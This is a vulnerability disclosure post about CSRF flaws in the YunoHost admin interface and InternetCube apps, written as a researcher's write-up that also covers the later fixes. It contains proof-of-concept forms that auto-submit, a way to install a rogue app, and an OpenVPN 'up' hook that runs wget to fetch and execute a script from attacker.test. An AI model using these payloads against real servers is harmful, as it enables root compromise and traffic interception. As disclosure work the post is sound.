Remote Code Execution via Cross Site Request Forgery in InternetCube and YunoHost

How I found remote code execution vulnerabilities via CSRF on the administration interfaces of InternetCube applications and of the YunoHost administration interface which would have been used to execute arbitrary code as root. These vulnerabilities were fixed in YunoHost 3.3, OpenVPN Client app 1.3.0. and YunoHost 3.4.

This post was written before these fixes were included and describes the previous behavior. You currently cannot reproduce the vulnerabilities described here on the demo instance anymore.

CSRF in the BriqueIntenet Applications

CSRF in OpenVPN Client Application

While trying to help some user of LDN's VPN, I found those lines of shell script in vpnclient_ynh, the YunoHost application which manages the OpenVPN client on InternetCube:

curl -kLe "https://${ynh_domain}/yunohost/sso/" \
  --data-urlencode "user=${ynh_user}" \
  --data-urlencode "password=${ynh_password}" \
  "https://${ynh_domain}/yunohost/sso/" \
  --resolve "${ynh_domain}:443:127.0.0.1" -c "${tmpdir}/cookies" \
  2> /dev/null | grep -q Logout

output=$(curl -kL -F "service_enabled=${ynh_service_enabled}"
  \ -F _method=put -F "cubefile=@${cubefile_path}"
  "https://${ynh_domain}/${ynh_path}/?/settings" \
  --resolve "${ynh_domain}:443:127.0.0.1" -b "${tmpdir}/cookies" \
  2> /dev/null | grep RETURN_MSG | sed 's/<!-- RETURN_MSG -->//' \
  | sed 's/<\/?[^>]\+>//g' | sed 's/^ \+//g')

These shell commands trigger a reconfiguration of the VPN client application:

  1. the first command logs in on SSOwat, the SSO middleware used on the InternetCube, and gets a session cookie;

  2. the second command requests a reconfiguration of the VPN with this session.

Reading those two shell commands, you can suspect that the application is probably vulnerable to CSRF attacks. The second request can be trigerred from a third-party website because this is a simple request (a POST with multipart/form-data payload without custom HTTP header) which does not include a CSRF token.

Here is the detail of the messages:

POST /yunohost/sso/ HTTP/1.1
Host: yunohost.test
User-Agent: curl/7.58.0
Accept: */*
Referer: https://yunohost.test/yunohost/sso/
Content-Length: 29
Content-Type: application/x-www-form-urlencoded

user=johndoe&password=patator
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sat, 26 May 2018 23:49:53 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
X-SSO-WAT: You've just been SSOed
Set-Cookie: SSOwAuthUser=johndoe; Domain=.yunohost.test; Path=/; Expires=Sun, 03 Jun 2018 01:49:53 UTC;; Secure
Set-Cookie: SSOwAuthHash=55a09d6ccce21345b63de281a95fa3aeee97a305e19c27b95db8f2758266dce7669f683dc42e4215cf20fbf58ef78c9b96979cfd51ab7f94204a3277be22e729; Domain=.yunohost.test; Path=/; Expires=Sun, 03 Jun 2018 01:49:53 UTC;; Secure
Set-Cookie: SSOwAuthExpire=1527983393.419; Domain=.yunohost.test; Path=/; Expires=Sun, 03 Jun 2018 01:49:53 UTC;; Secure
Location: https://yunohost.test/yunohost/sso/
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Content-Security-Policy: upgrade-insecure-requests
Content-Security-Policy-Report-Only: default-src https: data: 'unsafe-inline' 'unsafe-eval'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
X-Frame-Options: SAMEORIGIN
POST /vpnadmin/?/settings HTTP/1.1
Host: yunohost.test
User-Agent: curl/7.58.0
Accept: */*
Cookie: SSOwAuthExpire=1527983393.419; SSOwAuthHash=55a09d6ccce21345b63de281a95fa3aeee97a305e19c27b95db8f2758266dce7669f683dc42e4215cf20fbf58ef78c9b96979cfd51ab7f94204a3277be22e729; SSOwAuthUser=johndoe
Content-Length: 817
Content-Type: multipart/form-data; boundary=------------------------df246192f1b4f4b2

--------------------------91ecd6f6b2b63ea9
Content-Disposition: form-data; name="service_enabled"

1
--------------------------91ecd6f6b2b63ea9
Content-Disposition: form-data; name="_method"

put
--------------------------91ecd6f6b2b63ea9
Content-Disposition: form-data; name="cubefile"; filename="test.
cube"
Content-Type: application/octet-stream

{
  "server_name": "vpn.attacker.test",
  "server_port": "9000",
  "server_proto": "tcp",
  "crt_client_ta": "",
  "login_user": "test",
  "login_passphrase": "test",
  "dns0": "89.234.141.66",
  "dns1": "2001:913::8",
  "openvpn_rm": [
    ""
  ],
  "openvpn_add": [
    ""
  ],
  "ip6_net": "2001:db8::/48",
  "ip4_addr": "192.0.2.42",
  "crt_server_ca": "-----BEGIN CERTIFICATE-----|...|-----END CERTIFICATE-----",
  "crt_client": "",
  "crt_client_key": ""
}
--------------------------91ecd6f6b2b63ea9--
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sat, 26 May 2018 23:49:53 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-SSO-WAT: You've just been SSOed
Set-Cookie: SSOwAuthRedirect=;; Path=/yunohost/sso/; Expires=Thu, 01 Jan 1970 00:00:00 UTC;; Secure
X-Limonade: Un grand cru qui sait se faire attendre
Set-Cookie: LIMONADE0x5x0=r9qvidch2vc519drn9758n3kg2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /vpnadmin/
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Content-Security-Policy: upgrade-insecure-requests
Content-Security-Policy-Report-Only: default-src https: data: 'unsafe-inline' 'unsafe-eval'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
X-Frame-Options: SAMEORIGIN

While the user is currently logged-in on his YunoHost instance, a malicious website can make the user's browser issue this request (including the user's cookies) and trigger a VPN reconfiguration on the user's behalf. This can be achieved using a (possibly auto-submitting) HTML form like this one from the malicious website (or with fetch):

<form action="https://yunohost.test/vpnadmin/?/settings"
      method="POST"
      enctype="multipart/form-data">
  <input type="hidden" name="service_enabled" value="1">
  <input type="hidden" name="_method" value="put">
  <input type="hidden" name="server_name" value="vpn.attacker.test">
  <input type="hidden" name="server_port" value="1194">
  <input type="hidden" name="server_proto" value="tcp">
  <input type="hidden" name="ip6_net" value="">
  <input type="hidden" name="raw_openvpn" value="

# [WARN] Edit this raw configuration ONLY IF YOU KNOW
#        what you do!
# [WARN] Continue to use the placeholders <TPL:*> and
#        keep update their value on the web admin (they
#        are not only used for this file).

remote <TPL:SERVER_NAME>
proto <TPL:PROTO>
port <TPL:SERVER_PORT>

pull
nobind
dev tun
tun-ipv6
keepalive 10 30
comp-lzo adaptive
resolv-retry infinite

# Authentication by login
<TPL:LOGIN_COMMENT>auth-user-pass /etc/openvpn/keys/credentials

# UDP only
<TPL:UDP_COMMENT>explicit-exit-notify

# TLS
tls-client
<TPL:TA_COMMENT>tls-auth /etc/openvpn/keys/user_ta.key 1
remote-cert-tls server
ns-cert-type server
ca /etc/openvpn/keys/ca-server.crt
<TPL:CERT_COMMENT>cert /etc/openvpn/keys/user.crt
<TPL:CERT_COMMENT>key /etc/openvpn/keys/user.key

# Logs
verb 3
mute 5
status /var/log/openvpn-client.status
log-append /var/log/openvpn-client.log

# Routing
route-ipv6 2000::/3
redirect-gateway def1 bypass-dhcp
  ">

  <input type="file" name="crt_server_ca" value="">
  <input type="hidden" name="crt_client" value="">
  <input type="file" name="crt_client_key" value="">
  <input type="file" name="crt_client_ta" value="">
  <input type="hidden" name="login_user" value="johndoe">
  <input type="hidden" name="login_passphrase" value="1234">
  <input type="hidden" name="dns0" value="89.234.141.66">
  <input type="hidden" name="dns1" value="2001:913::8">
  <input type="file" name="cubefile" value="" style="display: none;">
  <input type="submit">
</form>

The whole sequence looks like this:

User  Browser  yunohost  www.attacker
                .test       .test
  |      |       |            |
  |----->|       |            |   Login on yunohost.test
  |      |       |            |
  |      |------>|            |   POST /yunohost/sso/ HTTP/1.1
  |      |       |            |
  |      |<------|            |   HTTP/1.1 302
  |      |       |            |   Set-Cookie: SSOwAuthUser=johndoe
  |      |       |            |   Set-Cookie: SSOAuthHash=55a09d6ccce...
  |      |       |            |   Set-Cookie: SSOwAuthExpire=1527983393.419
  |      |       |            |
  |      |       |            |   ... later ...
  |      |       |            |
  |----->|       |            |   Visit http://www.attacker.test/
  |      |       |            |
  |      |------------------->|   GET / HTTP/1.1
  |      |       |            |
  |      |<-------------------|   HTTP/1.1 200 OK
  |      |       |            |   <form
  |      |       |            |    action="https://yunohost.test/vpnadmin/?/settings"
  |      |       |            |    method="POST"
  |      |       |            |    enctype="multipart/form-data">
  |      |       |            |    ...
  |      |       |            |  </form>
  |      |       |            |  <script>document.forms[0].submit()</script>
  |      |       |            |
  |      |------>|            |   POST /vpnadmin/?/settings
  |      |       |            |   Cookie: SSOwAuthUser=johndoe
  |      |       |            |   Cookie: SSOAuthHash=55a09d6ccce...
  |      |       |            |   Cookie: SSOwAuthExpire=1527983393.419
  |      |       |            |
  |      |       o            |   Reconfigure VPN

The attacker could reconfigure the OpenVPN of the target YunoHost instance to use a differente VPN server (eg. vpn.attacker.test) and MITM all the traffic going through the YunoHost instance.

Command execution via OpenVPN configuration

Moreover, the attacker can configure OpenVPN hooks (up, down, etc.) through the raw_openvpn form parameter and execute arbitray shell commands:

up sh -c "wget -nc -O /tmp/rootme.sh http://www.attacker.test/rootme.sh && sh /tmp/rootme.sh"

The OpenVPN instance runs as root, so these commands will run as root.

CSRF in other BriqueIntenet applications

Other InternetCube applications have the same structure: they include a configuration web endpoint which relies completely on SSOwat for access control and are probably vulnerable as well. This includes hotspot_ynh, piratebox_ynh and torclient_ynh.

CSRF in the YunoHost administration interface

The same kind of CSRF vulnerability is found in the main YunoHost interface.

Creating new users

If you try to add a new account on the demo instance, your browsers sends this HTTP request:

POST /yunohost/api/users HTTP/1.1
Host: demo.yunohost.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://demo.yunohost.org/yunohost/admin/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: ...
Cookie: session.hashes="!ujY2IDH1jzw6da7pRz88Ig==?gAJVDnNlc3Npb2...=";
  session.id=821e7216b96b37e9e76bbcd4eb9e4a25856e6b6a;
  ynhSecurityViewedItems=[]
DNT: 1
Connection: keep-alive

username=test&
firstname=Test&
lastname=Test&
email=test&
domain=%40demo.yunohost.org&
mailbox_quota=10M&
password=12345&
confirmation=12345&
mail=test%40demo.yunohost.org&
locale=fr

Here again, the request looks like it is vulnerable to CSRF: it is a simple urlencoded POST without CSRF token.

Let's write some HTML to replicate the request:

<form action="https://demo.yunohost.org/yunohost/api/users" method="POST">

  <input type="hidden" name="username" value="johndoe">
  <input type="hidden" name="firstname" value="John">
  <input type="hidden" name="lastname" value="Doe">
  <input type="hidden" name="domain" value="@demo.yunohost.org">

  <input type="hidden" name="mailbox_quota" value="10M">
  <input type="hidden" name="password" value="12345">
  <input type="hidden" name="confirmation" value="12345">
  <input type="hidden" name="mail" value="doe@demo.yunohost.org">
  <input type="hidden" name="locale" value="fr">

  <input type="submit">

</form>

If you are logged in on the admin interface of the YunoHost demo instance and if you validate this form from another website, it will trigger the creation of the new account on your behalf on the demo instance. Most (if not all) administrative actions on YunoHost are vulnerable as well.

Installing a custom plugin

Installing an application from the list of application is done with this request:

POST /yunohost/api/apps HTTP/1.1
Host: demo.yunohost.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://demo.yunohost.org/yunohost/admin/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: ...
Cookie: session.hashes="!ujY2IDH1jzw6da7pRz88Ig==?gAJVDnNlc3Npb2...=";
  session.id=821e7216b96b37e9e76bbcd4eb9e4a25856e6b6a;
  ynhSecurityViewedItems=[]
Connection: keep-alive

label=myapp&app=toto&args=domain%3Ddemo.yunohost.org%26path%3D%252F30my_app%26is_public%3DYes&locale=fr

As before, it is possible to trigger it with CSRF:

<meta charset="UTF-8">
<form action="https://demo.yunohost.org/yunohost/api/apps"
      method="POST"
      enctype="application/x-www-form-urlencoded">

  <input name="label" value="my_app"> <br/>
  <input name="app" value="toto"> <br/>
  <input name="args" value="domain=demo.yunohost.org&path=/my_app&is_public=Yes"> <br/>
  <input name="locale" value="fr"> <br/>

  <input type="submit">

</form>

We are not limited to installing the application from the list of known applications. We can install a custom application from GitHub by replacing the value of the application ID in the app parameter by the github project URI:

<meta charset="UTF-8">
<form action="https://demo.yunohost.org/yunohost/api/apps"
      method="POST"
      enctype="application/x-www-form-urlencoded">

  <input name="label" value="botnet"> <br/>
  <input name="app" value="https://github.com/randomstuff/botnet_ynh"> <br/>
  <input name="args" value="domain=demo.yunohost.org&path=/botnet&is_public=Yes"> <br/>
  <input name="locale" value="fr"> <br/>

  <input type="submit">

</form>

By installing a custom YunoHost application, we could execute arbitrary shell commands as root.

List of vulnerable endpoints

The yunohost.yml file defines the binding of YuonoHost commands to HTTP routes. From this file we can get a list of potentially vulnerable endpoints:

  • Create user, POST /users
  • Allow the user to uses ssh, POST /users/ssh/enable
  • Disallow the user to uses ssh, POST /users/ssh/disable
  • Add a new authorized ssh key for this user, POST /users/ssh/key
  • Create a custom domain, POST /domains
  • Install Let's Encrypt certificates for given domains, POST /domains/cert-install/<domain_list>
  • Renew the Let's Encrypt certificates for given domains, POST /domains/cert-renew/<domain_list>
  • Install apps, POST /app
  • Create database and initialize it with optionnal attached script, POST /tools/initdb
  • Reset access rights for the app, POST /access
  • Create a backup local archive, POST /backup
  • Restore from a local backup archive, POST /backup/restore/<name>
  • Update monitoring statistics, POST /monitor/stats
  • Set an entry value in the settings, POST /settings/<key>
  • Add a service, POST /services

Lack of CSRF vulnearbility in the user administration

The request for changing the normal user password is:

POST /yunohost/sso/password.html HTTP/1.1
Host: demo.yunohost.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://demo.yunohost.org/yunohost/sso/password.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

currentpassword=demo&newpassword=demo&confirm=demo

It looks like this might be vulnerable to CSRF as well. However SSOwat has a CSRF protection based on the Referer header:

if ngx.var.request_method == "POST" then
  if hlp.string.starts(ngx.var.http_referer, conf.portal_url) then
      if hlp.string.ends(ngx.var.uri, conf["portal_path"].."password.html")
      or hlp.string.ends(ngx.var.uri, conf["portal_path"].."edit.html")
      then
         return hlp.edit_user()
      else
         return hlp.login()
      end
  else
      -- Redirect to portal
      hlp.flash("fail", hlp.t("please_login_from_portal"))
      return hlp.redirect(conf.portal_url)
  end
end

Thanks to this protection, this part of the application (where the users can change their own settings) is not vulnerable to CSRF. This protection only applies to SSOwat pages however.

Exploitation

It is necessary to target a specific YunoHost instance for conducting this attack: we might argue that this would limit the impact of these vulnerabilities. It is however very easy to get a list of YunoHost instances with a search engine such as Censys:

You could very easily build a list of YunoHost instances and try to CSRF them all, for example by baiting their owner with a blog post about YunoHost 😉.

Updates

Changes in YunoHost 3.3

Since YunoHost 3.3, released in 2018-11-23, the SameSite=lax parameter is now set to the SSOwat cookies. With this setting, the browser does not send the cookie when the request is CSRF-able (i.e. when it is an unsafe HTTP methods, such as POST, coming from another origin). Support for this cookie parameter is not available in all browsers but it is supposed to work on most evergreen browsers.

This change is effective against the CSRF in VPN Client and should fix the CSRF in other InternetCube applications.

However, this change alone does not prevent CSRF on the administration interface. This is because the SameSite=lax setting is only set on the SSOwat cookies (SSOwAuthUser, SSOwAuthHash and SSOwAuthExpire) and not on Moulinette cookies (session.id, session.hashes). The Moulinette API uses session.id and session.hashes cookies which do not have the SameSite=lax parameter.

Changes in OpenVPN Client app 1.3.0

The OpenVPN client app 1.3.0, released in 2018-12-02, includes a protection against CSRF. Those changes are needed to protect browsers without support for SameSite cookies. On browsers with SameSite support this change is not stricly needed.

These changes have currently not been ported to the other vulnerable InternetCube apps. This is not a problem as long as the user browser has SameSite cookie support.

Changes in YunoHost 3.4

YunoHost 3.4, released in 2019-01-29, includes a basic anti-CSRF fix in Moulinette. Cunrrently it relies on the client adding a X-Requested-With HTTP header.

References

Issues and pull requests

Informative